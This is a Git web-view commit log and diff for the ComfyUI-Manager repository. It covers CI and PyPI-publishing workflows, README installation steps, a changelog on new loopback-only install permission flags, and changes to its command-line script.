Added a new custom node entry for ComfyUI-WhisperXX with details.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-28 07:59:25 +09:00
RzgarandGitHub 1f986d9c45 Add entry for Qwen Image Size Picker (#2312) 2025-11-28 07:56:02 +09:00
Dr.Lt.Data bacb8fb3cd update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-11-27 00:23:54 +09:00
millerlightandGitHub a471263602 Merge branch 'Comfy-Org:main' into millerlight-patch-1 2025-08-11 16:24:36 +02:00
millerlightandGitHub a062f6f459 Update custom-node-list.json
In v1.0.0 I now strictly enforce a registry-backed whitelist:

    POST /kvtools/peek only serves values for (file_name, key) that exist in kv_registry.json (basename-only, path traversal blocked via abspath().startswith(BASE_DIR)).

    Image serving is scoped to the allowed root (optional extension whitelist), no arbitrary paths.

    UI changes no longer trigger automatic runs.
2025-08-11 04:59:50 +02:00
Paolo Calvi 6d87c3e981 Add ComfyUI-PuLID-Flux-Chroma - First PuLID implementation for Chroma models. 2025-06-16 00:20:47 +02:00
DerrickandGitHub acc11e1bda Add ComfyUI_rgbx_xrgb_Wrapper 2025-06-07 20:55:40 -07:00
121 changed files with 105761 additions and 32030 deletions
-1
View File
@@ -1 +0,0 @@
PYPI_TOKEN=your-pypi-token
-70
View File
@@ -1,70 +0,0 @@
name: CI
on:
push:
branches: [ main, feat/*, fix/* ]
pull_request:
branches: [ main ]
jobs:
validate-openapi:
name: Validate OpenAPI Specification
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Check if OpenAPI changed
id: openapi-changed
uses: tj-actions/changed-files@v44
with:
files: openapi.yaml
- name: Setup Node.js
if: steps.openapi-changed.outputs.any_changed == 'true'
uses: actions/setup-node@v4
with:
node-version: '18'
- name: Install Redoc CLI
if: steps.openapi-changed.outputs.any_changed == 'true'
run: |
npm install -g @redocly/cli
- name: Validate OpenAPI specification
if: steps.openapi-changed.outputs.any_changed == 'true'
run: |
redocly lint openapi.yaml
code-quality:
name: Code Quality Checks
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # Fetch all history for proper diff
- name: Get changed Python files
id: changed-py-files
uses: tj-actions/changed-files@v44
with:
files: |
**/*.py
files_ignore: |
comfyui_manager/legacy/**
- name: Setup Python
if: steps.changed-py-files.outputs.any_changed == 'true'
uses: actions/setup-python@v5
with:
python-version: '3.9'
- name: Install dependencies
if: steps.changed-py-files.outputs.any_changed == 'true'
run: |
pip install ruff
- name: Run ruff linting on changed files
if: steps.changed-py-files.outputs.any_changed == 'true'
run: |
echo "Changed files: ${{ steps.changed-py-files.outputs.all_changed_files }}"
echo "${{ steps.changed-py-files.outputs.all_changed_files }}" | xargs -r ruff check
+16 -16
View File
@@ -4,7 +4,7 @@ on:
workflow_dispatch:
push:
branches:
- manager-v4
- draft-v4
paths:
- "pyproject.toml"
@@ -21,7 +21,7 @@ jobs:
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.x'
python-version: '3.9'
- name: Install build dependencies
run: |
@@ -31,28 +31,28 @@ jobs:
- name: Get current version
id: current_version
run: |
CURRENT_VERSION=$(grep -oP '^version = "\K[^"]+' pyproject.toml)
CURRENT_VERSION=$(grep -oP 'version = "\K[^"]+' pyproject.toml)
echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT
echo "Current version: $CURRENT_VERSION"
- name: Build package
run: python -m build
# - name: Create GitHub Release
# id: create_release
# uses: softprops/action-gh-release@v2
# env:
# GITHUB_TOKEN: ${{ github.token }}
# with:
# files: dist/*
# tag_name: v${{ steps.current_version.outputs.version }}
# draft: false
# prerelease: false
# generate_release_notes: true
- name: Create GitHub Release
id: create_release
uses: softprops/action-gh-release@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
files: dist/*
tag_name: v${{ steps.current_version.outputs.version }}
draft: false
prerelease: false
generate_release_notes: true
- name: Publish to PyPI
uses: pypa/gh-action-pypi-publish@76f52bc884231f62b9a034ebfe128415bbaabdfc
uses: pypa/gh-action-pypi-publish@release/v1
with:
password: ${{ secrets.PYPI_TOKEN }}
skip-existing: true
verbose: true
verbose: true
+25
View File
@@ -0,0 +1,25 @@
name: Publish to Comfy registry
on:
workflow_dispatch:
push:
branches:
- main-blocked
paths:
- "pyproject.toml"
permissions:
issues: write
jobs:
publish-node:
name: Publish Custom Node to registry
runs-on: ubuntu-latest
if: ${{ github.repository_owner == 'ltdrdata' }}
steps:
- name: Check out code
uses: actions/checkout@v4
- name: Publish Custom Node
uses: Comfy-Org/publish-node-action@v1
with:
## Add your own personal access token to your Github Repository secrets and reference it here.
personal_access_token: ${{ secrets.REGISTRY_ACCESS_TOKEN }}
+1 -7
View File
@@ -17,10 +17,4 @@ github-stats-cache.json
pip_overrides.json
*.json
check2.sh
/venv/
build
dist
*.egg-info
.env
.claude
test_venv
/venv/
+57
View File
@@ -0,0 +1,57 @@
# Changelog
## Unreleased
### Security policy: dedicated install flags (`allow_git_url_install` / `allow_pip_install`)
Two new boolean keys in `config.ini` (`[default]` section), both defaulting to
`false`, now govern the arbitrary-install surfaces:
| Flag | Governs |
|------|---------|
| `allow_git_url_install` | `POST /customnode/install/git_url` and the unknown-git-URL arm of `POST /manager/queue/install` (incl. reinstall delegation) — the entire install transaction, transitive dependency pip installs included. On the batch queue path the flag applies **in addition to** the queue's `security_level` entry gate (see below) |
| `allow_pip_install` | `POST /customnode/install/pip` only |
These surfaces additionally require a **loopback listener** (`--listen` on a
loopback IP such as `127.0.0.1` or `::1` — not a general LAN/private address);
the flags never open a non-loopback deployment. On the two
**direct** endpoints (`POST /customnode/install/git_url` and
`POST /customnode/install/pip`), the flags fully **decouple** the surface
from `security_level`: it no longer has any effect in either direction — a
strict level cannot deny them when the flag is `true`, and a weak level
cannot allow them when the flag is `false`. On the **batch queue path**
(`POST /manager/queue/install`), the flag is **necessary but not
sufficient**: it gates the unknown-git-URL arm at the risky position, while
the queue's normal `security_level` entry gate (`middle`) remains in force —
at `security_level = strong`, batch unknown-URL installs stay denied even
with the flag set to `true`. `security_level` continues to govern every
other gated endpoint unchanged. Only the case-insensitive string `true`
enables a flag; a missing or malformed key reads as `false`.
#### Migration note (no auto-seed)
There is **no automatic migration** from `security_level`. Users who
previously relied on `security_level = weak` (or `normal-`) to use
install-via-git-URL / install-pip must now **opt in explicitly** by adding to
`config.ini`:
```ini
[default]
allow_git_url_install = true
allow_pip_install = true
```
Changes take effect after a **restart** (no hot reload).
#### Residual-risk note — outdated ComfyUI behavior change
On outdated ComfyUI versions (no system-user API), the manager previously
forced `security_level = strong`, which unconditionally denied the
git-URL/pip install surfaces. After this change those surfaces are governed
by the new flags instead: an operator who explicitly sets a flag to `true`
on a **loopback** listener can now perform installs on outdated ComfyUI
where the forced-strong policy previously denied them. This is an accepted,
deliberate trade-off: it requires explicit operator opt-in, remains bounded
to loopback listeners, and the flag-deny path on outdated ComfyUI still
surfaces the `comfyui_outdated` notice. If you operate an outdated ComfyUI
deployment, leave both flags at their default `false` and update ComfyUI.
-47
View File
@@ -1,47 +0,0 @@
## Testing Changes
1. Activate the ComfyUI environment.
2. Build package locally after making changes.
```bash
# from inside the ComfyUI-Manager directory, with the ComfyUI environment activated
python -m build
```
3. Install the package locally in the ComfyUI environment.
```bash
# Uninstall existing package
pip uninstall comfyui-manager
# Install the locale package
pip install dist/comfyui-manager-*.whl
```
4. Start ComfyUI.
```bash
# after navigating to the ComfyUI directory
python main.py
```
## Manually Publish Test Version to PyPi
1. Set the `PYPI_TOKEN` environment variable in env file.
2. If manually publishing, you likely want to use a release candidate version, so set the version in [pyproject.toml](pyproject.toml) to something like `0.0.1rc1`.
3. Build the package.
```bash
python -m build
```
4. Upload the package to PyPi.
```bash
python -m twine upload dist/* --username __token__ --password $PYPI_TOKEN
```
5. View at https://pypi.org/project/comfyui-manager/
-14
View File
@@ -1,14 +0,0 @@
include comfyui_manager/js/*
include comfyui_manager/*.json
include comfyui_manager/glob/*
include LICENSE.txt
include README.md
include requirements.txt
include pyproject.toml
include custom-node-list.json
include extension-node-list.json
include extras.json
include github-stats.json
include model-list.json
include alter-list.json
include comfyui_manager/channels.list.template
+165 -49
View File
@@ -5,7 +5,7 @@
![menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/refs/heads/Main/ComfyUI-Manager/images/dialog.jpg)
## NOTICE
* V4.0: Modify the structure to be installable via pip instead of using git clone.
* V3.38: **Security patch** - Manager data migrated to protected path. See [Migration Guide](docs/en/v3.38-userdata-security-migration.md).
* V3.16: Support for `uv` has been added. Set `use_uv` in `config.ini`.
* V3.10: `double-click feature` is removed
* This feature has been moved to https://github.com/ltdrdata/comfyui-connection-helper
@@ -14,26 +14,78 @@
## Installation
* When installing the latest ComfyUI, it will be automatically installed as a dependency, so manual installation is no longer necessary.
### Installation[method1] (General installation method: ComfyUI-Manager only)
* Manual installation of the nightly version:
* Clone to a temporary directory (**Note:** Do **not** clone into `ComfyUI/custom_nodes`.)
```
git clone https://github.com/Comfy-Org/ComfyUI-Manager
```
* Install via pip
```
cd ComfyUI-Manager
pip install .
```
To install ComfyUI-Manager in addition to an existing installation of ComfyUI, you can follow the following steps:
1. Go to `ComfyUI/custom_nodes` dir in terminal (cmd)
2. `git clone https://github.com/ltdrdata/ComfyUI-Manager comfyui-manager`
3. Restart ComfyUI
### Installation[method2] (Installation for portable ComfyUI version: ComfyUI-Manager only)
1. install git
- https://git-scm.com/download/win
- standalone version
- select option: use windows default console window
2. Download [scripts/install-manager-for-portable-version.bat](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-manager-for-portable-version.bat) into installed `"ComfyUI_windows_portable"` directory
- Don't click. Right-click the link and choose 'Save As...'
3. Double-click `install-manager-for-portable-version.bat` batch file
![portable-install](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/portable-install.jpg)
### Installation[method3] (Installation through comfy-cli: install ComfyUI and ComfyUI-Manager at once.)
> RECOMMENDED: comfy-cli provides various features to manage ComfyUI from the CLI.
* **prerequisite: python 3, git**
Windows:
```commandline
python -m venv venv
venv\Scripts\activate
pip install comfy-cli
comfy install
```
Linux/macOS:
```commandline
python -m venv venv
. venv/bin/activate
pip install comfy-cli
comfy install
```
* See also: https://github.com/Comfy-Org/comfy-cli
## Front-end
### Installation[method4] (Installation for Linux+venv: ComfyUI + ComfyUI-Manager)
* The built-in front-end of ComfyUI-Manager is the legacy front-end. The front-end for ComfyUI-Manager is now provided via [ComfyUI Frontend](https://github.com/Comfy-Org/ComfyUI_frontend).
* To enable the legacy front-end, set the environment variable `ENABLE_LEGACY_COMFYUI_MANAGER_FRONT` to `true` before running.
To install ComfyUI with ComfyUI-Manager on Linux using a venv environment, you can follow these steps:
* **prerequisite: python-is-python3, python3-venv, git**
1. Download [scripts/install-comfyui-venv-linux.sh](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-comfyui-venv-linux.sh) into empty install directory
- Don't click. Right-click the link and choose 'Save As...'
- ComfyUI will be installed in the subdirectory of the specified directory, and the directory will contain the generated executable script.
2. `chmod +x install-comfyui-venv-linux.sh`
3. `./install-comfyui-venv-linux.sh`
### Installation Precautions
* **DO**: `ComfyUI-Manager` files must be accurately located in the path `ComfyUI/custom_nodes/comfyui-manager`
* Installing in a compressed file format is not recommended.
* **DON'T**: Decompress directly into the `ComfyUI/custom_nodes` location, resulting in the Manager contents like `__init__.py` being placed directly in that directory.
* You have to remove all ComfyUI-Manager files from `ComfyUI/custom_nodes`
* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager/ComfyUI-Manager`.
* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager-main`.
* In such cases, `ComfyUI-Manager` may operate, but it won't be recognized within `ComfyUI-Manager`, and updates cannot be performed. It also poses the risk of duplicate installations. Remove it and install properly via `git clone` method.
You can execute ComfyUI by running either `./run_gpu.sh` or `./run_cpu.sh` depending on your system configuration.
## Colab Notebook
This repository provides Colab notebooks that allow you to install and use ComfyUI, including ComfyUI-Manager. To use ComfyUI, [click on this link](https://colab.research.google.com/github/ltdrdata/ComfyUI-Manager/blob/main/notebooks/comfyui_colab_with_manager.ipynb).
* Support for installing ComfyUI
* Support for basic installation of ComfyUI-Manager
* Support for automatically installing dependencies of custom nodes upon restarting Colab notebooks.
## How To Use
@@ -89,20 +141,27 @@
## Paths
In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
Starting from V3.38, Manager uses a protected system path for enhanced security.
* <USER_DIRECTORY>
* If executed without any options, the path defaults to ComfyUI/user.
* It can be set using --user-directory <USER_DIRECTORY>.
* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
* Component files: `<USER_DIRECTORY>/__manager/components`
| ComfyUI Version | Manager Path |
|-----------------|--------------|
| v0.3.76+ (with System User API) | `<USER_DIRECTORY>/__manager/` |
| Older versions | `<USER_DIRECTORY>/default/ComfyUI-Manager/` |
* Basic config files: `config.ini`
* Configurable channel lists: `channels.list`
* Configurable pip overrides: `pip_overrides.json`
* Configurable pip blacklist: `pip_blacklist.list`
* Configurable pip auto fix: `pip_auto_fix.list`
* Saved snapshot files: `snapshots/`
* Startup script files: `startup-scripts/`
* Component files: `components/`
> **Note**: See [Migration Guide](docs/en/v3.38-userdata-security-migration.md) for upgrade details.
## `extra_model_paths.yaml` Configuration
@@ -115,12 +174,12 @@ The following settings are applied based on the section marked as `is_default`.
## Snapshot-Manager
* When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
* Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
* Snapshot file dir: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
* You can rename snapshot file.
* Press the "Restore" button to revert to the installation status of the respective snapshot.
* However, for custom nodes not managed by Git, snapshot support is incomplete.
* When you press `Restore`, it will take effect on the next ComfyUI startup.
* The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
* The selected snapshot file is saved in `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
![model-install-dialog](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/snapshot.jpg)
@@ -169,12 +228,12 @@ The following settings are applied based on the section marked as `is_default`.
}
```
* `<current timestamp>` Ensure that the timestamp is always unique.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* `<component name>`: The name should be in the format `<prefix>::<node name>`.
* `<component node data>`: In the node data of the group node.
* `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
* `<datetime>`: Saved time
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* `<category>`: If there is neither a category nor a packname, it is saved in the components category.
```
"version":"1.0",
@@ -215,14 +274,13 @@ The following settings are applied based on the section marked as `is_default`.
downgrade_blacklist = <Set a list of packages to prevent downgrades. List them separated by commas.>
security_level = <Set the security level => strong|normal|normal-|weak>
always_lazy_install = <Whether to perform dependency installation on restart even in environments other than Windows.>
network_mode = <Set the network mode => public|private|offline|personal_cloud>
network_mode = <Set the network mode => public|private|offline>
```
* network_mode:
- public: An environment that uses a typical public network.
- private: An environment that uses a closed network, where a private node DB is configured via `channel_url`. (Uses cache if available)
- offline: An environment that does not use any external connections when using an offline network. (Uses cache if available)
- personal_cloud: Applies relaxed security features in cloud environments such as Google Colab or Runpod, where strong security is not required.
## Additional Feature
@@ -304,7 +362,7 @@ When you run the `scan.sh` script:
## Troubleshooting
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini` file that is generated.
* If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
* Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
@@ -313,33 +371,91 @@ When you run the `scan.sh` script:
## Security policy
* Edit `config.ini` file: add `security_level = <LEVEL>`
* `strong`
* doesn't allow `high` and `middle` level risky feature
* `normal`
* doesn't allow `high` level risky feature
* `middle` level risky feature is available
* `normal-`
* doesn't allow `high` level risky feature if `--listen` is specified and not starts with `127.`
* `middle` level risky feature is available
* `weak`
* all feature is available
* `high` level risky features
* Downloading models that are not in `.safetensors` format and not
registered in the `default channel` model list
* NOTE: `Install via git url`, `pip install`, and installation of custom nodes
not registered in the `default channel` are **no longer governed by
`security_level`** — they are governed by the dedicated install flags
described below.
* `middle` level risky features
* Uninstall/Update
* Installation of custom nodes registered in the `default channel`.
* Fix custom nodes
* Restore/Remove Snapshot
* Restart
* `low` level risky features
* Update ComfyUI
The security settings are applied based on whether the ComfyUI server's listener is non-local and whether the network mode is set to `personal_cloud`.
### Dedicated install flags: `allow_git_url_install` / `allow_pip_install`
* **non-local**: When the server is launched with `--listen` and is bound to a network range other than the local `127.` range, allowing remote IP access.
* **personal\_cloud**: When the `network_mode` is set to `personal_cloud`.
The two arbitrary-install surfaces are governed by dedicated boolean keys in
`config.ini` (`[default]` section), fully **decoupled** from `security_level`:
* `allow_git_url_install`
* governs `Install via Git URL` (`POST /customnode/install/git_url`) **and**
the unknown-git-URL arm of the batch install queue
(`POST /manager/queue/install`, including reinstall delegation) — i.e.
installing any custom node from a git URL that is not registered in the
`default channel` catalog
* on the **batch queue path**, the flag is **necessary but not
sufficient**: the queue's normal `security_level` entry gate (`middle`)
must ALSO pass — at `security_level = strong`, batch unknown-URL
installs stay denied even with the flag set to `true` (only the direct
`Install via Git URL` endpoint is fully independent of `security_level`)
* covers the **entire install transaction** it starts, including the
pack's transitive dependency pip installs
* `allow_pip_install`
* governs **only** the standalone `pip install` feature
(`POST /customnode/install/pip`)
### Risky Level Table
Key properties:
| Risky Level | features |
|-------------|---------------------------------------------------------------------------------------------------------------------------------------|
| high+ | * `Install via git url`, `pip install`<BR>* Installation of nodepack registered not in the `default channel`. |
| high | * Fix nodepack |
| middle+ | * Uninstall/Update<BR>* Installation of nodepack registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
| middle | * Restart |
| low | * Update ComfyUI |
* **Decoupled from `security_level` (replace, not and)** — on the two
**direct endpoints** (`Install via Git URL` and `pip install`),
`security_level` no longer has any effect in either direction: a strict
level cannot deny them when the flag is `true`, and a weak level cannot
allow them when the flag is `false`. (The batch queue path keeps its
`security_level` entry gate in ADDITION to the flag — see the scope bullet
above.) Every other gated feature remains governed by `security_level` as
described above.
* **Loopback only** — the flags take effect **only** when the server listens
on a loopback address (e.g. `--listen 127.0.0.1`). On a non-loopback
listener these surfaces stay denied regardless of the flags; the flags
never widen the exposure of a public deployment.
* **Default deny / explicit opt-in** — both flags default to `false`. Only
the case-insensitive string `true` enables a flag; a missing or malformed
key reads as `false`.
To opt in, edit `config.ini`:
### Security Level Table
```ini
[default]
allow_git_url_install = true
allow_pip_install = true
```
| Security Level | local | non-local (personal_cloud) | non-local (not personal_cloud) |
|----------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------|
| strong | * Only `weak` level risky features are allowed | * Only `weak` level risky features are allowed | * Only `weak` level risky features are allowed |
| normal | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available
| normal- | * All features are available | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available
| weak | * All features are available | * All features are available | * `high+` and `middle+` level risky features are not allowed<BR>* `high`, `middle` and `low` level risky features are available
Changes take effect after a **restart** (no hot reload).
> **Migration note**: there is no automatic migration from `security_level`.
> If you previously relied on `security_level = weak` (or `normal-`) to use
> install-via-git-URL / pip install, you must opt in explicitly with the flags
> above. See `CHANGELOG.md` for details, including a behavior note for
> outdated ComfyUI deployments.
# Disclaimer
+25
View File
@@ -0,0 +1,25 @@
"""
This file is the entry point for the ComfyUI-Manager package, handling CLI-only mode and initial setup.
"""
import os
import sys
cli_mode_flag = os.path.join(os.path.dirname(__file__), '.enable-cli-only-mode')
if not os.path.exists(cli_mode_flag):
sys.path.append(os.path.join(os.path.dirname(__file__), "glob"))
import manager_server # noqa: F401
import share_3rdparty # noqa: F401
import cm_global
if not cm_global.disable_front and not 'DISABLE_COMFYUI_MANAGER_FRONT' in os.environ:
WEB_DIRECTORY = "js"
else:
print("\n[ComfyUI-Manager] !! cli-only-mode is enabled !!\n")
NODE_CLASS_MAPPINGS = {}
__all__ = ['NODE_CLASS_MAPPINGS']
+6
View File
@@ -0,0 +1,6 @@
default::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
recent::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/new
legacy::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/legacy
forked::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/forked
dev::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/dev
tutorial::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/tutorial
+85 -271
View File
@@ -15,30 +15,31 @@ import git
import importlib
sys.path.append(os.path.dirname(__file__))
sys.path.append(os.path.join(os.path.dirname(__file__), "glob"))
import manager_util
# read env vars
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
# `comfy_path` should be resolved before importing manager_core
comfy_path = os.environ.get('COMFYUI_PATH')
if comfy_path is None:
print("[bold red]cm-cli: environment variable 'COMFYUI_PATH' is not specified.[/bold red]")
exit(-1)
try:
import folder_paths
comfy_path = os.path.join(os.path.dirname(folder_paths.__file__))
except:
print("\n[bold yellow]WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.[/bold yellow]", file=sys.stderr)
comfy_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..', '..'))
# This should be placed here
sys.path.append(comfy_path)
if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
print("[bold red]cm-cli: '{comfy_path}' is not a valid 'COMFYUI_PATH' location.[/bold red]")
exit(-1)
import utils.extra_config
from comfyui_manager.common import manager_util
from comfyui_manager.common import cm_global
from comfyui_manager.legacy import manager_core as core
from comfyui_manager.common import context
from comfyui_manager.legacy.manager_core import unified_manager
from comfyui_manager.common import cnr_utils
import cm_global
import manager_core as core
from manager_core import unified_manager
import cnr_utils
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
@@ -65,7 +66,7 @@ def check_comfyui_hash():
repo = git.Repo(comfy_path)
core.comfy_ui_revision = len(list(repo.iter_commits('HEAD')))
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
except Exception:
except:
print('[bold yellow]INFO: Frozen ComfyUI mode.[/bold yellow]')
core.comfy_ui_revision = 0
core.comfy_ui_commit_datetime = 0
@@ -81,7 +82,7 @@ def read_downgrade_blacklist():
try:
import configparser
config = configparser.ConfigParser(strict=False)
config.read(context.manager_config_path)
config.read(core.manager_config.path)
default_conf = config['default']
if 'downgrade_blacklist' in default_conf:
@@ -89,7 +90,7 @@ def read_downgrade_blacklist():
items = [x.strip() for x in items if x != '']
cm_global.pip_downgrade_blacklist += items
cm_global.pip_downgrade_blacklist = list(set(cm_global.pip_downgrade_blacklist))
except Exception:
except:
pass
@@ -104,7 +105,7 @@ class Ctx:
self.no_deps = False
self.mode = 'cache'
self.user_directory = None
self.custom_nodes_paths = [os.path.join(context.comfy_base_path, 'custom_nodes')]
self.custom_nodes_paths = [os.path.join(core.comfy_base_path, 'custom_nodes')]
self.manager_files_directory = os.path.dirname(__file__)
if Ctx.folder_paths is None:
@@ -142,14 +143,14 @@ class Ctx:
if os.path.exists(extra_model_paths_yaml):
utils.extra_config.load_extra_path_config(extra_model_paths_yaml)
context.update_user_directory(user_directory)
core.update_user_directory(user_directory)
if os.path.exists(context.manager_pip_overrides_path):
with open(context.manager_pip_overrides_path, 'r', encoding="UTF-8", errors="ignore") as json_file:
if os.path.exists(core.manager_pip_overrides_path):
with open(core.manager_pip_overrides_path, 'r', encoding="UTF-8", errors="ignore") as json_file:
cm_global.pip_overrides = json.load(json_file)
if os.path.exists(context.manager_pip_blacklist_path):
with open(context.manager_pip_blacklist_path, 'r', encoding="UTF-8", errors="ignore") as f:
if os.path.exists(core.manager_pip_blacklist_path):
with open(core.manager_pip_blacklist_path, 'r', encoding="UTF-8", errors="ignore") as f:
for x in f.readlines():
y = x.strip()
if y != '':
@@ -162,15 +163,15 @@ class Ctx:
@staticmethod
def get_startup_scripts_path():
return os.path.join(context.manager_startup_script_path, "install-scripts.txt")
return os.path.join(core.manager_startup_script_path, "install-scripts.txt")
@staticmethod
def get_restore_snapshot_path():
return os.path.join(context.manager_startup_script_path, "restore-snapshot.json")
return os.path.join(core.manager_startup_script_path, "restore-snapshot.json")
@staticmethod
def get_snapshot_path():
return context.manager_snapshot_path
return core.manager_snapshot_path
@staticmethod
def get_custom_nodes_paths():
@@ -437,11 +438,8 @@ def show_list(kind, simple=False):
flag = kind in ['all', 'cnr', 'installed', 'enabled']
for k, v in unified_manager.active_nodes.items():
if flag:
cnr = unified_manager.cnr_map.get(k)
if cnr:
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
else:
processed[k] = None
cnr = unified_manager.cnr_map[k]
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
else:
processed[k] = None
@@ -461,11 +459,8 @@ def show_list(kind, simple=False):
continue
if flag:
cnr = unified_manager.cnr_map.get(k) # NOTE: can this be None if removed from CNR after installed
if cnr:
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
else:
processed[k] = None
cnr = unified_manager.cnr_map[k]
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
else:
processed[k] = None
@@ -474,11 +469,8 @@ def show_list(kind, simple=False):
continue
if flag:
cnr = unified_manager.cnr_map.get(k)
if cnr:
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
else:
processed[k] = None
cnr = unified_manager.cnr_map[k]
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
else:
processed[k] = None
@@ -498,12 +490,9 @@ def show_list(kind, simple=False):
continue
if flag:
cnr = unified_manager.cnr_map.get(k)
if cnr:
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
else:
processed[k] = None
cnr = unified_manager.cnr_map[k]
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
else:
processed[k] = None
@@ -656,14 +645,6 @@ def install(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -675,20 +656,11 @@ def install(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
_finalize_resolve(pip_fixer, uv_compile)
pip_fixer.fix_broken()
@app.command(help="Reinstall custom nodes")
@@ -715,14 +687,6 @@ def reinstall(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
